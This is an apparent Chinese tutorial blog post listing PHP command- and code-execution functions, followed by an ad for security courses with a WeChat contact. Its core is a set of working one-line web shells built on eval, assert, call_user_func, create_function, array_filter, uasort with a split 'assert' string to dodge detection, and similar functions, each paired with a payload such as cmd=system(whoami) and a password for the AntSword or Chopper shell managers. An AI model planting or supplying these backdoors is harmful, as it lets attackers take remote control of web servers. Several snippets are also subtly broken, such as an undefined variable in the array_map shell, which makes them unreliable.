PHP常见的命令执行函数与代码执行函数_php命令执行函数

​编辑

8. uasort()函数

9. preg_replace()

命令执行函数:

1. system()

2. passthru()

3. exec()

4. pcntl_exec()

5. shell_exec()

6. popen()/proc_open()

7. 反引号 ``


代码执行函数:

前提准备:火狐插件 Quantum  Hackbar (或者hackbar)      phpstudy

首先打开phpstudy  在phpstudy 下的www目录中创建一个1.php文件,接下来的实验均在1.php中进行。

注意:php代码中函数前加@意味着他会屏蔽掉出错信息,而不报错,避免通过错误回显来推测数据库结构,对其进行攻击。

1. eval()

命令执行:cmd=system(ipconfig);
蚁剑连接密码:cmd

注意:eval要以分号结尾 传入的参数必须为php代码

<?php @eval($_POST['cmd']);?>
GET和POST传参的区别

这里用的是POST型传参   POST型传参通过request  body 传参   而GET型传参把参数包含在url中

可以使用

标签来使结果规范化

<?php echo "
";
echo eval($_POST["cmd"]);
echo "
"; ?>

2. assert()

命令执行:cmd=system(whoami)
菜刀连接密码:cmd

<?php @assert($_POST['cmd']);?>

3. call_user_func()

传入的参数作为assert函数的参数
命令执行:cmd=system(whoami)
蚁剑连接密码:cmd

<?php call_user_func("assert",$_POST['cmd']); ?>

这里的 assert 是被调用的回调函数,其余为回调函数的参数。

<?php call_user_func($_POST["dys"],$_POST["add"]); ?>

这里dys=assert; add=phpinfo();

4. create_function()

创建匿名函数执行代码
执行命令和上传文件参考eval函数(必须加分号)。

<?php $func =create_function('',$_POST['cmd']);$func(); ?>

第一个变量表示定义一个函数变量部分  第二个变量表示执行的代码部分

5. array_map()

array_map() 函数
将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

<?php $func=$_GET['dys']; $cmd=$_POST['cmd']; $array[0]=$cmd; $new_array=array_map($dys,$array); echo $new_array; ?>

这个函数作用是为数组每个元素应用回调函数。

6. call_user_func_array()

将传入的参数作为数组的第一个值传递给assert函数
cmd=system(phpinfo()😉

<?php $cmd=$_POST['cmd']; $array[0]=$cmd; call_user_func_array("assert",$array); ?>

7. array_filter()

array_filter — 使用回调函数过滤数组的元素

<?php $cmd=$_POST['cmd']; $array1=array($cmd); $func =$_GET['dys']; array_filter($array1,$func); ?>

命令执行:cmd=whoami dys=system

8. uasort()函数

uasort () 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。 如果成功则返回 TRUE,否则返回 FALSE。

<?php uasort($_GET,'asse'.'rt'); ?>

9. preg_replace()

preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)
执行命令和上传文件参考assert函数(不需要加分号)。

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

学习路线:

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
在这里插入图片描述

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

起学习成长!**](https://bbs.csdn.net/forums/4304bb5a486d4c3ab8389e65ecb71ac0)

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

  • 24
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值